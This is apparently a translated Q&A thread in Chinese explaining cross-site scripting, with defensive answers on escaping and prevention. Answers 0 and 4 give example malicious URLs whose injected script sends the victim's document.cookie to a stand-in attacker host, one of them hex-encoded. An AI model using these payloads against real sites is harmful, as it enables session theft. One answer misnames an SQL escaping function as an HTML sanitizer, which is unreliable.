XSS如何运作?

时间:2008-10-27 06:12:27

标签: xss

有人能解释XSS如何用简单的英语运作吗?也许举个例子。谷歌搜索没有多大帮助。

6 个答案:

答案 0 :(得分:31)

跨站点脚本基本上是动态网页的安全漏洞,攻击者可以在其中创建恶意链接,将不需要的可执行JavaScript注入网站。当打印或回送GET变量而不过滤或检查其内容时,会出现此漏洞最常见的情况。

当受害者点击该链接时,恶意代码可以将受害者的cookie发送到另一台服务器,或者它可以修改受影响的网站,注入表单,窃取用户名和密码以及其他网络钓鱼技术。

恶意链接示例:

http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script>

对恶意代码进行编码也很常见,例如以十六进制编码:

http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E

答案 1 :(得分:19)

只要应用程序外部的字符串可以解释为代码,就会存在XSS漏洞。

例如,如果您通过执行以下操作生成HTML:

<BODY>
  <?= $myQueryParameter ?>
</BODY>

然后如果$myQueryParameter变量包含<SCRIPT>标记,那么它将最终执行代码。

要防止输入作为代码执行,您需要正确转义内容。

通过认识$myQueryParameter变量包含纯文本可以解决上述问题,但您不能只是将纯文本放入HTML并期望它能够正常工作。

因此,您需要将纯文本转换为HTML,以便将其放入HTML页面。将一种语言的字符串转换为另一种语言以便嵌入它的过程就是逃避。

您可以使用以下函数将纯文本转义为HTML:

function escapePlainTextToHTML(plainText) {
  return plainText.replace(/\0/g, '')
      .replace(/&/g, '&amp;')
      .replace(/</g, '&lt;')
      .replace(/>/g, '&gt;')
      .replace(/"/g, '&#34;')
      .replace(/'/g, '&#39;');
}

答案 2 :(得分:2)

简单英语

XSS是指将脚本(意味着JavaScript代码)插入到网页中,以便浏览器执行代码。这是恶意的,因为它可以用来窃取cookie和页面上的任何其他数据。例如:

搜索框的HTML:<input value="*search value here*">

现在,如果您插入" onmouseover="alert(1),最终的HTML将为<input value="" onmouseover="alert(1)"> 当鼠标通过搜索框时,将执行“警报”。

在“WikiText”中

跨站点脚本(XSS)是Web应用程序中常见的一种计算机安全漏洞。 XSS使攻击者能够将客户端脚本注入其他用户查看的网页中。攻击者可能会使用跨站点脚本漏洞绕过访问控制,例如同源策略。

答案 3 :(得分:1)

我已经写了一篇关于XSS是什么以及如何作为PHP开发人员解决它的文章。还有两种类型的XSS攻击看起来像(持久性与非持久性)的例子。

有两种类型的XSS攻击:

  1. 非持久性:这是一个嵌入了一个特制的URL 脚本作为目标页面的参数之一。讨厌的URL 可以通过电子邮件发送,意图欺骗 收件人点击它。目标页面错误处理了参数 并且无意中将代码发送到客户端的机器 最初通过URL字符串传递。
  2. 坚持:这次袭击 使用网站上的页面,无需将表单数据保存到数据库 正确处理输入数据。恶意用户可以嵌入恶意 脚本作为运行的典型数据字段(如姓氏)的一部分 在不知不觉中在客户端的Web浏览器上。通常是令人讨厌的剧本 将被存储到数据库并在每次客户访问时重新运行 到被感染的页面。
  3. 在此处查看更多信息: http://www.thedablog.com/what-is-xss/

答案 4 :(得分:1)

简单的英语 XSS 是一种安全漏洞,攻击者可以在其中构建恶意脚本以破坏网站。现在如何运作?

我们知道 XSS 需要一个输入字段,或者我们可以说GET变量通过该变量输入回送给用户而没有过滤,有时甚至是过滤。在请求之后,浏览器可以接受(“源代码”)作为向用户显示内容的响应。 记住您​​在输入字段中编写的内容,它将出现在源代码响应中。因此,您应该检查它,因为有时Web开发人员会对警报框进行限制。

如果您是攻击者,首先需要使用脚本标记来了解xss漏洞。

例如: - alert(“test”)

这里使用alert()来制作带有ok按钮的弹出框,以及你在屏幕上弹出的支架中写的内容。脚本标签是不可见的。

现在,攻击者可以制作恶意脚本来窃取cookie,窃取凭据等。

  

例如: - hxxp://www.VulnerableSite.com/index.php?search = location.href ='http://www.Yoursite.com/Stealer.php?cookie='+ document.cookie;

此处您的网站是攻击者网站,攻击者可以在document.cookie的帮助下将受害者的cookie重定向到他自己的网站上。

多数民众赞成。

此处脚本标记不可见

答案 5 :(得分:-2)

XSS -

网站将信任置于用户身上且未过滤用户输入时导致的漏洞。 用户输入会导致在站点上执行不需要的脚本。

  1. 预防:

    • 使用HTML输入清理程序过滤用户输入

      (例如strip_tags,htmlspecialchars,htmlentities,php中的mysql_real_string_escape)

  2. CSRF:

    当用户将信任放在网站上但网站可能会收集用户信息并滥用信息时导致的漏洞。

    1. 预防: